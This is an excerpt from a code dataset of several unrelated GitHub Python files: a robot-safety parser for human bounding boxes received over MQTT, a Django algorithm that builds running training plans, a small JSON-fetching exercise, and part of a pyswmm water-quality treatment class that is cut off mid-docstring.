= []\r\n            arm2 = []\r\n            obj = self.mqtt.read_mqtt_json(topic_human)\r\n            nr_humans = len(obj[\"BB\"])\r\n            for i in range(nr_humans):\r\n                # human id message payload\r\n                id_human = obj[\"BB\"][0][\"id\"]\r\n                if id_human >= 0:\r\n                    # get main body BB data and decode it\r\n                    mainbody1 = obj[\"BB\"][0][\"BB_mainbody\"]\r\n                    mainbody1 = base64.decodebytes(mainbody1.encode('utf-8'))\r\n                    mainbody1 = np.frombuffer(mainbody1, dtype=np.float64).reshape((8, 3))\r\n                    mainbody.append(mainbody1)\r\n                    mainbody = [element + count * 0.2 for element in mainbody]  # delete for real\r\n\r\n                    # get arm 1 BB data and decode it\r\n                    array_arm1 = obj[\"BB\"][0][\"BB_arm1\"]\r\n                    array_arm1 = base64.decodebytes(array_arm1.encode('utf-8'))\r\n                    array_arm1 = np.frombuffer(array_arm1, dtype=np.float64).reshape((8, 3))\r\n                    arm1.append(array_arm1)\r\n\r\n                    # get arm 2 BB data and decode it\r\n                    array_arm2 = obj[\"BB\"][0][\"BB_arm2\"]\r\n                    array_arm2 = base64.decodebytes(array_arm2.encode('utf-8'))\r\n                    array_arm2 = np.frombuffer(array_arm2, dtype=np.float64).reshape((8, 3))\r\n                    arm2.append(array_arm2)\r\n\r\n                    # get human joints data and decode it\r\n                    array_keypoints = obj[\"BB\"][0][\"3D_keypoints\"]\r\n                    array_keypoints = base64.decodebytes(array_keypoints.encode('utf-8'))\r\n\r\n                    array_keypoints = np.frombuffer(array_keypoints, dtype=np.float64).reshape((-1, 4))\r\n                    self.keypoints = array_keypoints\r\n                    print(array_keypoints)\r\n            self.human_main = mainbody\r\n            mainbody[0][:, 1] = -1 * mainbody[0][:, 1]\r\n            mainbody[0][:, 0] = -1 * mainbody[0][:, 0]\r\n            # mainbodyq[:, 1]  = mainbodyq[:, 1] + 0.01\r\n\r\n            # self.human_main = [mainbodyq]\r\n            \r\n            if self.mode == 'ros':\r\n                print(mainbodyq)\r\n                self.ros_.talk(mainbody, 'dist')\r\n\r\n            self.arm1 = arm1\r\n            self.arm2 = arm2\r\n            bb_points, bb_lines = self.plot_util()\r\n            self.v.visualizer3DOpen3d(points, bb_points=bb_points, bb_lines=bb_lines)\r\n            self.v.show()\r\n\r\n    def plot_util(self):\r\n        bb_line = np.empty([0, 2])\r\n        bb_points = []\r\n        if self.human_main:\r\n            bb_points = np.vstack(self.human_main)\r\n            for i in range(0, (len(self.human_main))):\r\n                lines_i = np.array([[0, 1], [1, 3], [3, 2], [2, 0], [0, 4], [1, 5], [3, 7], [2, 6], [4, 5], [5, 7],\r\n                                    [7, 6], [6, 4]]) + 8 * i\r\n                bb_line = np.vstack((bb_line, lines_i))\r\n        if self.arm1:\r\n            a1 = np.vstack(self.arm1)\r\n            bb_points = np.vstack((bb_points, a1))\r\n            for i in range(len(self.human_main), len(self.human_main) + 1 + len(self.arm1)):\r\n                lines_i = np.array([[0, 1], [1, 3], [3, 2], [2, 0], [0, 4], [1, 5], [3, 7], [2, 6], [4, 5], [5, 7],\r\n                                    [7, 6], [6, 4]]) + 8 * i\r\n                bb_line = np.vstack((bb_line, lines_i))\r\n        if self.arm2:\r\n            a2 = np.vstack(self.arm2)\r\n            bb_points = np.vstack((bb_points, a2))\r\n            for i in range(len(self.human_main) + 1 + len(self.arm1),\r\n                           len(self.human_main) + 1 + len(self.arm1) + len(self.arm2)):\r\n                lines_i = np.array([[0, 1], [1, 3], [3, 2], [2, 0], [0, 4], [1, 5], [3, 7], [2, 6], [4, 5], [5, 7],\r\n                                    [7, 6], [6, 4]]) + 8 * i\r\n                bb_line = np.vstack((bb_line, lines_i))\r\n        return bb_points, bb_line\r\n\r\n'''\r\nros = RosBridge()\r\nros.ros_new_message.clear()\r\nros.connect(socket_ip, rosport, topic_talk_dist=rostopic_talk_dist, topic_talk_pose=rostopic_talk_pose,\r\n            topic_listen=rostopic_listen, message_type=rosmessage_type)\r\nhrc = HumanRobotSafety(ros)\r\nt = threading.Thread(target=hrc.get_human)\r\nt.start()\r\ndata_ = json.load(open(\"data_2.json\", \"r\"))\r\ndata = json.dumps(data_)\r\nt1 = threading.Thread(target=hrc.pub, args=(data,))\r\nt1.start()\r\n'''","repo_name":"lpsantao/Human-Aware-Handover-Process","sub_path":"nea_parser.py","file_name":"nea_parser.py","file_ext":"py","file_size_in_byte":6354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15367984925","text":"import math\nfrom functools import reduce\nfrom operator import itemgetter\nfrom statistics import pstdev\nfrom time import time\nfrom run.models import Workout\nfrom run.algorithms.difficulty_functions import get_speed_difficulty, get_estimated_twopointfour\n\n# All constants below TBC\nrho = 7.0\n# tePace, ltPace, vPace, stPace\nphi = [1, 1, 1, 1]\npaceConstants = [1.243, 1.19, 1.057, 0.89]\nkValue = 0.25\nyValue = 1.25\n\n\ndef get_pace(timeInput):\n    return timeInput / 2400\n\n\ndef convert_sec_to_hour(time_in_sec):\n    return time_in_sec / (60 * 60)\n\n\ndef get_target_paces(targetTime):\n    targetPace = get_pace(targetTime)\n    displayPace = math.floor(targetPace * 100 * 1000)\n    return {'targetPace': targetPace, 'displayPace': displayPace}\n\n\ndef convert_to_velocity(currentTime):\n    return 2.4 / convert_sec_to_hour(currentTime)\n\n\ndef get_prescribed_rest(restMultiple, targetPace):\n    return round((restMultiple * targetPace * 100) / 5) * 5\n\n\ndef rest_ratio(restMultiple, targetPace):\n    return get_prescribed_rest(restMultiple, targetPace) / (restMultiple * targetPace * 100)\n\n\ndef rest_multiplier(workout, targetPace):\n    return 1 / math.exp(0.0024 * rest_ratio(workout['workoutInfo'][0][\"restMultiplier\"], targetPace))\n\n\ndef convert_to_seconds(input_array):\n    split_array = input_array.split(\":\")\n    return int(split_array[0]) * 60 + int(split_array[1])\n\n\ndef sanitise_week_date_stamp(timestamp):\n    return timestamp - (timestamp % 86400000)\n\n\ndef get_paces(targetPace, cNewbieGains):\n    return [targetPace * paceConstants[i] * cNewbieGains * x for i, x in enumerate(phi)]\n\n\ndef get_velocities(paces):\n    return [(1 / pace) * 3.6 for pace in paces]\n\n\ndef get_goal_set_time(previousWorkout):  # in ms\n    return (float(previousWorkout['workoutInfo'][0][\"pace\"]) * float(\n        previousWorkout['workoutInfo'][0][\"distance\"])) / 100\n\n\ndef get_average_time(previousWorkout):  # in seconds\n    timings = previousWorkout['workoutInfo'][0][\"timings\"]\n    return math.fsum(timings) / len(timings)\n\n\ndef get_standard_deviation(previousWorkout):\n    return pstdev(previousWorkout['workoutInfo'][0][\"timings\"])\n\n\n# todo get rid of the retarded float all over the place\ndef get_missed(previousWorkout):\n    return previousWorkout['workoutInfo'][0][\"sets\"] - len(previousWorkout['workoutInfo'][0][\"timings\"])\n\n\ndef penalise_missed(missed, previousWorkout):\n    return (math.exp(missed / float(previousWorkout['workoutInfo'][0][\"sets\"])) - 1) * yValue\n\n\ndef get_rounded_distance(timeInput, tempoPace):\n    return math.ceil((timeInput * 60 / tempoPace) / 0.5) * 0.5\n\n\ndef get_user_info(questionnaireData, previousFitness):\n    duration, workoutFrequency = itemgetter('duration', 'workoutFrequency')(questionnaireData)\n    # todo fix currentFitness\n    return {\n        'currentTime': convert_to_seconds(questionnaireData['latest']),\n        'targetTime': convert_to_seconds(questionnaireData['target']),\n        'duration': duration,\n        'workoutFrequency': workoutFrequency,\n        'currentFitness': previousFitness\n    }\n\n\ndef generate_constants(questionnaireData):\n    # todo verify personalbests below\n    beta = 1 if questionnaireData['regular'] else 0.975\n    alpha = max(0, min(1, (1 / 3) * beta * (\n            (questionnaireData['frequency'] * questionnaireData['distance']) / 30 + questionnaireData['experience'] / 36 + questionnaireData['frequency'] / 3)))\n    # old code\n    #     Math.min(\n    #     1,\n    #     (1 / 3) *\n    #       beta *\n    #       ((answers.fFrequency * answers.dDistance) / 30 +\n    #         answers.lMonths / 36 +\n    #         answers.fFrequency / 3)\n    #   )\n    # )\n    cNewbieGains = (1 / rho) * math.exp(1 - alpha) + (rho - 1) / rho\n    return {'alpha': alpha, 'beta': beta, 'cNewbieGains': cNewbieGains}\n\n\ndef get_workout_score(previousWorkout):\n    if not len(previousWorkout['workoutInfo'][0][\"timings\"]):\n        return {'goalTimePerSet': 0, 'averageTime': 0, 'standardDeviation': 0, 'missed': 0, 'workoutScore': 0}\n    goalTimePerSet = get_goal_set_time(previousWorkout)  # in ms\n    averageTime = get_average_time(previousWorkout)  # in ms\n    standardDeviation = get_standard_deviation(previousWorkout)\n    missed = get_missed(previousWorkout)  # integer value\n    workoutScore = 100 * (goalTimePerSet / averageTime + (\n            math.exp(standardDeviation / goalTimePerSet) - 1) * kValue - penalise_missed(missed, previousWorkout))\n    return {'workoutScore': workoutScore}  # {goalTimePerSet, averageTime, standardDeviation, missed, workoutScore}\n\n\ndef get_overall_fitness(speedDifficulty, duration, currentFitness, previousWorkout):\n    deltaDifficulty = speedDifficulty - 100\n    deltaDifficultyPerWeek = deltaDifficulty / duration\n    if len(previousWorkout) < 1:\n        return {'newFitness': 100, 'targetDifficulty': 100 + deltaDifficultyPerWeek}\n    # todo if workout large success, use all the previous workouts\n    previousWorkoutScore = get_workout_score(previousWorkout)\n    if previousWorkoutScore['workoutScore'] < 94:\n        return {'newFitness': currentFitness, 'targetDifficulty': currentFitness + deltaDifficultyPerWeek}\n    return {\n        'newFitness': previousWorkout['personalisedDifficultyMultiplier'],\n        'targetDifficulty': previousWorkout['personalisedDifficultyMultiplier'] + deltaDifficultyPerWeek,\n    }\n\n\n# todo edit this again\ndef get_best_trainingPlan(trainingPlanPrimary, trainingPlanSecondary):\n    return trainingPlanPrimary[0] > trainingPlanSecondary[0]  # and trainingPlanPrimary[0] - trainingPlanSecondary[0] < 3 and trainingPlanPrimary[1][\"personalisedDifficultyMultiplier\"] < trainingPlanSecondary[1][\"personalisedDifficultyMultiplier\"]\n\n\ndef get_interval_training_plan(targetPace, cNewbieGains, userInfo, previousWorkout, displayPace):\n    velocities = get_velocities(get_paces(targetPace, cNewbieGains))\n    # velocities in km/hr, paces in s/m\n    speedDifficulty = get_speed_difficulty(convert_to_velocity(userInfo['currentTime']), convert_to_velocity(userInfo['targetTime']), velocities)\n    trainingPlanPrimary, trainingPlanSecondary, newFitness = itemgetter('trainingPlanPrimary', 'trainingPlanSecondary', 'newFitness')(generate_training_plans(speedDifficulty, targetPace, userInfo, previousWorkout))\n    trainingPlan = trainingPlanSecondary[1] if get_best_trainingPlan(trainingPlanPrimary, trainingPlanSecondary) else trainingPlanPrimary[1]\n    trainingPlan['workoutInfo'][0][\"rest\"] = get_prescribed_rest(trainingPlan['workoutInfo'][0][\"restMultiplier\"], targetPace)\n    trainingPlan['workoutInfo'][0][\"pace\"] = displayPace\n    return {'newFitness': newFitness, 'trainingPlan': trainingPlan}\n\n\ndef generate_training_plans(speedDifficulty, targetPace, userInfo, previousWorkout):\n    newFitness, targetDifficulty = itemgetter('newFitness', 'targetDifficulty')(get_overall_fitness(\n        speedDifficulty,\n        userInfo['duration'],\n        userInfo['currentFitness'],\n        previousWorkout,\n    ))\n\n    def get_personalised_difficulty(workout):\n        workout['personalisedDifficultyMultiplier'] = (speedDifficulty / 100) * workout[\n            'difficultyMultiplier'] * rest_multiplier(workout, targetPace)\n        return workout\n\n    primary = map(get_personalised_difficulty, list(Workout.objects.filter(id__contains='primary').values()))\n    secondary = map(get_personalised_difficulty, list(Workout.objects.filter(id__contains='secondary').values()))\n\n    def get_closest_workout(workoutOne, workoutTwo):\n        workoutVariance = abs(workoutTwo['personalisedDifficultyMultiplier'] - targetDifficulty)\n        if workoutVariance > workoutOne[0]:\n            return workoutOne\n        return [workoutVariance, workoutTwo]\n\n    trainingPlanPrimary = reduce(get_closest_workout, primary, [10000])\n    trainingPlanSecondary = reduce(get_closest_workout, secondary, [10000])\n    return {'trainingPlanPrimary': trainingPlanPrimary, 'trainingPlanSecondary': trainingPlanSecondary,\n            'newFitness': newFitness}\n\n\ndef get_weeks_and_start_date(firstWorkoutTimestamp, currentDatestamp):\n    numberOfWeeksElapsed = 0\n    weekStartDatestamp = firstWorkoutTimestamp\n    while weekStartDatestamp < currentDatestamp:\n        numberOfWeeksElapsed += 1\n        weekStartDatestamp += (604800000 * numberOfWeeksElapsed)\n    return {'numberOfWeeksElapsed': numberOfWeeksElapsed, 'weekStartDatestamp': weekStartDatestamp}\n\n\ndef get_fartlek_workout(fillerWorkout, tempoPace, goalPace):\n    jogTime = ''\n    jogDistance = ''\n    sprintDistance = itemgetter('sprintDistance')(fillerWorkout['workoutInfo'][0])\n\n    def get_jog_pace(jogPace):\n        y = 0\n        for x in jogPace:\n            if x == 'tempoPace':\n                y += tempoPace\n            else:\n                y += int(x)\n        return y\n\n    jogPace = get_jog_pace(fillerWorkout['workoutInfo'][0]['jogPace'])\n    if fillerWorkout['workoutInfo'][0]['jogByTime']:\n        jogTime = fillerWorkout['workoutInfo'][0]['jogByTime']\n        jogDistance = jogTime / jogPace\n    elif fillerWorkout['workoutInfo'][0]['jogByDistance']:\n        jogDistance = fillerWorkout['workoutInfo'][0]['jogByDistance']\n        jogTime = jogDistance * jogPace\n\n    def get_sprint_pace(sprintPace):\n        y = 0\n        for x in sprintPace:\n            if x == 'goalPace':\n                y += goalPace\n            else:\n                y += int(x)\n        return y\n\n    sprintPace = get_sprint_pace(fillerWorkout['workoutInfo'][0]['sprintPace'])\n    return {  # pace in s/m, distance in m, time in s\n        'sprintDistance': sprintDistance, 'jogTime': jogTime, 'jogPace': jogPace, 'sprintPace': sprintPace,\n        'jogDistance': jogDistance}\n\n\ndef get_fartlek_trainingPlan(alpha, weekNumber, tempoPace, targetPace):\n    fartlek = list(Workout.objects.filter(id__contains='fartlek').values())\n    for workout in fartlek:\n        if alpha < float(workout['alpha']):\n            if weekNumber == float(workout['workoutInfo'][0]['weekAt']):\n                return {**get_fartlek_workout(workout, tempoPace, targetPace),\n                        'sprintSets': workout['workoutInfo'][0]['sprintSets']}\n            if weekNumber > workout['workoutInfo'][0]['weekAt'] and workout['workoutInfo'][0]['end']:\n                if alpha < 0.8:\n                    sprintSets = workout['workoutInfo'][0]['sprintSets'] + weekNumber - workout['workoutInfo'][0][\n                        'weekAt']\n                    return {**get_fartlek_workout(workout, tempoPace, targetPace), 'sprintSets': sprintSets}\n                fartlekWorkout = get_fartlek_workout(workout, tempoPace, targetPace)\n                fartlekWorkout['sprintPace'] = fartlekWorkout['sprintPace'] - (\n                        weekNumber - workout['workoutInfo'][0].weekAt) * 0.00250\n                return {**fartlekWorkout, 'sprintSets': workout['workoutInfo'][0]['sprintSets']}\n\n\ndef get_next_date(dateToCompare, previousWorkoutDate):\n    if (dateToCompare - sanitise_week_date_stamp(previousWorkoutDate)) < 86400000:\n        return dateToCompare + 86400000\n    return dateToCompare\n\n\ndef get_suggestedDate(userInfo, previousWorkout=None):\n    sanitisedCurrentDatestamp = sanitise_week_date_stamp(time())\n    ipptDatestamp = itemgetter('ipptDatestamp')(userInfo)\n    # below for if close to IPPT date\n    if (sanitise_week_date_stamp(ipptDatestamp) - sanitisedCurrentDatestamp) < (86400000 * 2):\n        return None\n    if previousWorkout:\n        if 'long_distance' not in previousWorkout['type']:\n            firstWorkoutTimestamp = int('1622542227000')\n            currentDatestamp = time()\n            numberOfWeeksElapsed = itemgetter('numberOfWeeksElapsed')(get_weeks_and_start_date(firstWorkoutTimestamp, currentDatestamp))\n            nextWeekStart = sanitise_week_date_stamp((604800000 * (numberOfWeeksElapsed + 1)) + firstWorkoutTimestamp)\n            return get_next_date(nextWeekStart, previousWorkout['date'])\n    #     Test below\n    return get_next_date(sanitisedCurrentDatestamp, time())\n\n\ndef get_long_distance_trainingPlan(alpha, weekNumber, tempoPace):\n    longDistance = list(Workout.objects.filter(id__contains='long_distance').values())\n    for workout in longDistance:\n        if alpha < float(workout['alpha']):\n            if weekNumber == float(workout['workoutInfo'][0]['weekAt']):\n                convertedTempoPace = tempoPace * 1000\n                return {  # runTime in min, tempoPace in s/m, distance in km\n                    'runTime': workout['workoutInfo'][0].runTime,\n                    'tempoPace': tempoPace,\n                    'distance': get_rounded_distance(workout['workoutInfo'][0]['runTime'], convertedTempoPace)\n                }\n            if weekNumber > workout['workoutInfo'][0]['weekAt'] and workout['workoutInfo'][0]['end']:\n                convertedTempoPace = tempoPace * 1000\n                tempoPaceNew = convertedTempoPace - (weekNumber - workout['workoutInfo'][0]['weekAt']) * 3\n                runTime = workout['workoutInfo'][0]['runTime']\n                distance = get_rounded_distance(runTime, tempoPaceNew)\n                return {'distance': distance, 'runTime': runTime, 'tempoPace': tempoPaceNew / 1000}\n\n\ndef get_one_of_three_training_plan(targetPace, cNewbieGains, userInfo, previousWorkout, displayPace, alpha):\n    firstWorkoutTimestamp = int('1622542227000')\n    workoutFrequency, ipptDatestamp = itemgetter('workoutFrequency', 'ipptDatestamp')(userInfo)\n    currentDatestamp = time()\n    userInfo['duration'] = 8  # todo Math.floor(ipptDatestamp - currentDatestamp)\n    previousWorkoutDatestamp = previousWorkout['date'] if previousWorkout else ''\n    numberOfWeeksElapsed, weekStartDatestamp = itemgetter('numberOfWeeksElapsed', 'weekStartDatestamp')(get_weeks_and_start_date(firstWorkoutTimestamp, currentDatestamp))\n    weekStartDatestamp = sanitise_week_date_stamp(weekStartDatestamp)\n    nextWeekStart = sanitise_week_date_stamp((604800000 * (numberOfWeeksElapsed + 1)) + firstWorkoutTimestamp)\n    tempoPace = get_paces(targetPace, cNewbieGains)[0]\n    isPreviousWorkoutIntervalWorkout = (\n            'primary' in previousWorkout['type'] or 'secondary' in previousWorkout['type'] or 'pyramid' in\n            previousWorkout['type']) if previousWorkout else False\n    if (ipptDatestamp - currentDatestamp) < 604800000:\n        if isPreviousWorkoutIntervalWorkout:\n            return get_long_distance_trainingPlan(alpha, numberOfWeeksElapsed, tempoPace)\n        return get_fartlek_trainingPlan(alpha, numberOfWeeksElapsed, tempoPace, targetPace)\n    if workoutFrequency == 1 or not (len(previousWorkout) > 0):\n        return get_interval_training_plan(targetPace, cNewbieGains, userInfo, previousWorkout, displayPace)\n    if workoutFrequency == 2:\n        if isPreviousWorkoutIntervalWorkout and previousWorkoutDatestamp > weekStartDatestamp and currentDatestamp < nextWeekStart:\n            return get_long_distance_trainingPlan(alpha, numberOfWeeksElapsed, tempoPace)\n    if workoutFrequency == 3:\n        if previousWorkoutDatestamp > weekStartDatestamp and currentDatestamp < nextWeekStart:\n            if isPreviousWorkoutIntervalWorkout:\n                return get_long_distance_trainingPlan(alpha, numberOfWeeksElapsed, tempoPace)\n            return get_fartlek_trainingPlan(alpha, numberOfWeeksElapsed, tempoPace, targetPace)\n    return get_interval_training_plan(targetPace, cNewbieGains, userInfo, previousWorkout, displayPace)\n\n\ndef get_training_plan(questionnaireData=None, previousWorkout=None, previousFitness=100):\n    if previousWorkout is None:\n        previousWorkout = {}\n    if questionnaireData['regular']:\n        pass  # TBC logic\n    userInfo = get_user_info(questionnaireData, previousFitness)\n    userInfo['ipptDatestamp'] = 1628513171000\n    alpha, beta, cNewbieGains = itemgetter('alpha', 'beta', 'cNewbieGains')(generate_constants(questionnaireData))\n    targetPace, displayPace = itemgetter('targetPace', 'displayPace')(get_target_paces(userInfo['targetTime']))\n    suggestedDate = get_suggestedDate(userInfo, previousWorkout)\n    newFitness, trainingPlan = itemgetter('newFitness', 'trainingPlan')(get_one_of_three_training_plan(targetPace, cNewbieGains, userInfo, previousWorkout, displayPace, alpha))\n    return {'newFitness': newFitness, 'trainingPlan': trainingPlan, 'suggestedDate': suggestedDate}\n\n\ndef get_predicted_time(questionnaireData, previousFitness=100):\n    userInfo = get_user_info(questionnaireData, previousFitness)\n    userInfo['ipptDatestamp'] = 1628513171000 #duplicated\n    cNewbieGains = itemgetter('cNewbieGains')(generate_constants(questionnaireData))\n    targetPace = itemgetter('targetPace')(get_target_paces(userInfo['targetTime']))\n    velocities = get_velocities(get_paces(targetPace, cNewbieGains))\n    # note, are we storing this currentTime? We must store this permanently then\n    return {'predicted_time': 2.4 / get_estimated_twopointfour(convert_to_velocity(userInfo['currentTime']), velocities, userInfo['currentFitness']) * 60}","repo_name":"TwoPointFour/django-backend","sub_path":"run/algorithms/suggest.py","file_name":"suggest.py","file_ext":"py","file_size_in_byte":16886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29216048503","text":"# this code is for python3\nimport urllib.request\nimport json\n\nsum = 0\nurl = input(\"Enter location:\")\nprint ('Retrieving', url)\nuh = urllib.request.urlopen(url)\ndata = uh.read()\n\nprint ('Retrieved',len(data),'characters')\n\ndat = json.loads(data)\nndat = dat[\"comments\"]\nprint ('Count:', len(ndat))\n\nfor item in ndat:\n\tsum = sum + item[\"count\"]\nprint(\"Sum:\",sum)","repo_name":"manikshitij/py_practice","sub_path":"jsonext.py","file_name":"jsonext.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"42118423617","text":"from pyswmm.simulation import Simulation\nimport numpy as np\nfrom scipy.integrate import ode \n\n\nclass Node_Quality:\n    \n    def __init__(self, sim, node_dict):\n        self.sim = sim\n        self.node_dict = node_dict\n        self.start_time = self.sim.start_time\n        self.last_timestep = self.start_time\n        self.solver = ode(self.CSTR_tank)\n\n    def EventMeanConc(self):\n        \"\"\"\n        Event Mean Concentration Treatment (SWMM Water Quality Manual, 2016)\n        Treatment results in a constant concentration.\n\n        Dictionary format: \n        dict = {'SWMM_Node_ID1': {pindex1: C, pindex2: C},\n                'SWMM_Node_ID2': {pindex1: C, pindex2: C}}\n        \n        C = constant treatment concentration for each pollutant (SI or US: mg/L)\n        \"\"\"\n        for node in self.node_dict:\n            for pollutant in self.node_dict[node]:\n                # Set concentration\n                self.sim._model.setNodePollutant(node, pollutant, self.node_dict[node][pollutant])\n\n\n    def ConstantRemoval(self):\n        \"\"\"\n        CONSTANT REMOVAL TREATMENT (SWMM Water Quality Manual, 2016)\n        Treatment results in a constant percent removal.\n\n        Dictionary format: \n        dict = {'SWMM_Node_ID1': {pindex1: %R1, pindex2: %R2},\n                'SWMM_Node_ID2': {pindex1: %R1, pindex2: %R2}}\n        \n        R = pollutant removal fraction (unitless)\n        \"\"\"\n        for node in self.node_dict:\n            for pollutant in self.node_dict[node]:\n                #Get parameters\n                Cin = self.sim._model.getNodeCin(node, pollutant)\n                R = self.node_dict[node][pollutant]\n                # Calculate new concentration\n                Cnew = (1-R)*Cin\n                # Set new concentration \n                self.sim._model.setNodePollutant(node, pollutant, Cnew)\n\n\n    def CoRemoval(self):\n        \"\"\"\n        CO-REMOVAL TREATMENT (SWMM Water Quality Manual, 2016)\n        Removal of some pollutant is proportional to the removal of\n        some other pollutant.\n\n        Dictionary format: \n        dict = {'SWMM_Node_ID1': {pindex1: [R1, R2], pindex2: [R1, R2]},\n                'SWMM_Node_ID2': {pindex1: [R1, R2], pindex2: [R1, R2]}}\n        \n        R1 = pollutant removal fraction (unitless) \n        R2 = pollutant removal fraction for other pollutant (unitless)\n        \"\"\"\n        for node in self.node_dict:\n            for pollutant in self.node_dict[node]:\n                #Get parameters\n                Cin = self.sim._model.getNodeCin(node, pollutant)\n                R1 = self.node_dict[node][pollutant][0]\n                R2 = self.node_dict[node][pollutant][1]\n                # Calculate new concentration\n                Cnew = (1-R1*R2)*Cin\n                # Set new concentration\n                self.sim._model.setNodePollutant(node, pollutant, Cnew)\n\n\n    def ConcDependRemoval(self):\n        \"\"\"\n        CONCENTRATION-DEPENDENT REMOVAL (SWMM Water Quality Manual, 2016)\n        When higher pollutant removal efficiencies occur with higher \n        influent concentrations.\n\n        Dictionary format: \n        dict = {'SWMM_Node_ID1': {pindex1: [R_l, BC, R_u], pindex2: [R_l, BC, R_u]},\n                'SWMM_Node_ID2': {pindex1: [R_l, BC, R_u], pindex2: [R_l, BC, R_u]}}\n        \n        R_l = lower removal rate (unitless)\n        BC  = boundary concentration that determines removal rate (SI or US: mg/L)\n        R_u = upper removal rate (unitless)\n        \"\"\"\n        for node in self.node_dict:\n            for pollutant in self.node_dict[node]:\n                # Get Cin for each pollutant/node\n                Cin = self.sim._model.getNodeCin(node, pollutant)\n                R_l = self.node_dict[node][pollutant][0]\n                BC = self.node_dict[node][pollutant][1]\n                R_u = self.node_dict[node][pollutant][2]\n                # Calculate removal\n                R = (1-np.heaviside((Cin-BC),0))*R_l+np.heaviside((Cin-BC),0)*R_u\n                # Calculate new concentration\n                Cnew = (1-R)*Cin\n                # Set new concentration\n                self.sim._model.setNodePollutant(node, pollutant, Cnew)\n\n\n    def NthOrderReaction(self):\n        \"\"\"\n        NTH ORDER REACTION KINETICS (SWMM Water Quality Manual, 2016)\n        When treatment of pollutant X exhibits n-th order reaciton kinetics\n        where the instantaneous reaction rate is kC^n.\n\n        Dictionary format: \n        dict = {'SWMM_Node_ID1': {pindex1: [k, n], pindex2: [k, n]},\n                'SWMM_Node_ID2': {pindex1: [k, n], pindex2: [k, n]}}\n        \n        k   = reaction rate constant (SI: m/hr, US: ft/hr)\n        n   = reaction order (first order, second order, etc.) (unitless)\n        \"\"\"\n        # Get current time\n        current_step = self.sim.current_time\n        # Calculate model dt in seconds\n        dt = (current_step - self.last_timestep).total_seconds()\n        # Updating reference step\n        self.last_timestep = current_step\n\n        for node in self.node_dict:\n            for pollutant in self.node_dict[node]:\n                # Get parameters\n                k = self.node_dict[node][pollutant][0]\n                n = self.node_dict[node][pollutant][1]\n                C = self.sim._model.getNodeC2(node, pollutant)\n                # Calculate treatment\n                Cnew = C - (k*(C**n)*dt)\n                # Set concentration each time step\n                self.sim._model.setNodePollutant(node, pollutant, Cnew)\n\n\n    def kCModel(self):\n        \"\"\"\n        K-C_STAR MODEL (SWMM Water Quality Manual, 2016)\n        The first-order model with bachground concnetration made popular by \n        Kadlec and Knight (1996) for long-term treatment performance of wetlands.\n\n        Dictionary format: \n        dict = {'SWMM_Node_ID1': {pindex1: [k, C_s], pindex2: [k, C_s]},\n                'SWMM_Node_ID2': {pindex1: [k, C_s], pindex2: [k, C_s]}}\n        \n        k   = reaction rate constant (SI: m/hr, US: ft/hr)\n        C_s = constant residual concentration that always remains (SI or US: mg/L)\n        \"\"\"\n        for node in self.node_dict:\n            for pollutant in self.node_dict[node]:\n                # Get Cin for each pollutant/node\n                Cin = self.sim._model.getNodeCin(node, pollutant)\n                d = self.sim._model.getNodeResult(node,5)\n                k = self.node_dict[node][pollutant][0]\n                C_s = self.node_dict[node][pollutant][1]\n                hrt = self.sim._model.getNodeHRT(node)\n                # Calculate removal\n                if d != 0.0 and Cin != 0.0:\n                    R = np.heaviside((Cin-C_s),0)*((1-np.exp(-k*hrt/d))*(1-C_s/Cin))\n                else:\n                    R = 0\n                # Calculate new concentration\n                Cnew = (1-R)*Cin\n                # Set new concentration\n                self.sim._model.setNodePollutant(node, pollutant, Cnew) \n\n\n    def GravitySettling(self):\n        \"\"\"\n        GRAVITY SETTLING (SWMM Water Quality Manual, 2016)\n        During a quiescent period of time within a storage volume, a fraction\n        of suspended particles will settle out.\n\n        Dictionary format: \n        dict = {'SWMM_Node_ID1': {pindex1: [k, C_s], pindex2: [k, C_s]},\n                'SWMM_Node_ID2': {pindex1: [k, C_s], pindex2: [k, C_s]}}\n        \n        k   = reaction rate constant (SI: m/hr, US: ft/hr)\n        C_s = constant residual concentration that always remains (SI or US: mg/L)\n        \"\"\"\n        # Get current time\n        current_step = self.sim.current_time\n        # Calculate model dt in seconds\n        dt = (current_step - self.last_timestep).total_seconds()\n        # Updating reference step\n        self.last_timestep = current_step\n        \n        for node in self.node_dict:\n            for pollutant in self.node_dict[node]:\n                Qin = self.sim._model.getNodeResult(node,0)\n                k = self.node_dict[node][pollutant][0]\n                C_s = self.node_dict[node][pollutant][1]\n                Cin = self.sim._model.getNodeCin(node,pollutant)\n                d = self.sim._model.getNodeResult(node,5)\n                if d != 0.0:\n                    # Calculate new concentration\n                    Cnew = np.heaviside((0.1-Qin),0)*(C_s+(Cin-C_s)*np.exp(-k/d*dt/3600))+(1-np.heaviside((0.1-Qin),0))*Cin\n                else:\n                    Cnew = np.heaviside((0.1-Qin),0)*C_s+(Cin-C_s)+(1-np.heaviside((0.1-Qin),0))*Cin\n                # Set new concentration\n                self.sim._model.setNodePollutant(node, pollutant, Cnew)\n\n\n    def CSTR_tank(self, t, C, Qin, Cin, Qout, V, k, n):\n        \"\"\"\n        UNSTEADY CONTINUOUSLY STIRRED TANK REACTOR (CSTR)\n        CSTR is a common model for a chemical reactor. The behavior of a CSTR\n        is modeled assuming it is not in steady state. This is because\n        outflow, inflow, volume, and concentration are constantly changing.\n\n        NOTE: You do not need to call this class, only the CSTR_solver. \n        CSTR_tank is intitalized in __init__ in Node_Treatment.  \n        \"\"\"\n        dCdt = (Qin*Cin - Qout*C)/V + k*C**n\n        return dCdt\n\n\n    def CSTR_solver(self, index):\n        \"\"\"\n        UNSTEADY CONTINUOUSLY STIRRED TANK REACTOR (CSTR) SOLVER\n        CSTR is a common model for a chemical reactor. The behavior of a CSTR\n        is modeled assuming it is not in steady state. This is because\n        outflow, inflow, volume, and concentration are constantly changing.\n        Therefore, Scipy.Integrate.ode solver is used to solve for concentration.\n        \n        NOTE: You only need to call this method, not CSTR_tank. CSTR_tank is\n        intitalized in __init__ in Node_Treatment.  \n\n        Dictionary format: \n        dict = {'SWMM_Node_ID1': {pindex1: [k, n, c0], pindex2: [k, n, c0]},\n                'SWMM_Node_ID2': {pindex1: [k, n, c0], pindex2: [k, n, c0]}}\n        \n        k   = reaction rate constant (SI or US: 1/s)\n        n   = reaction order (first 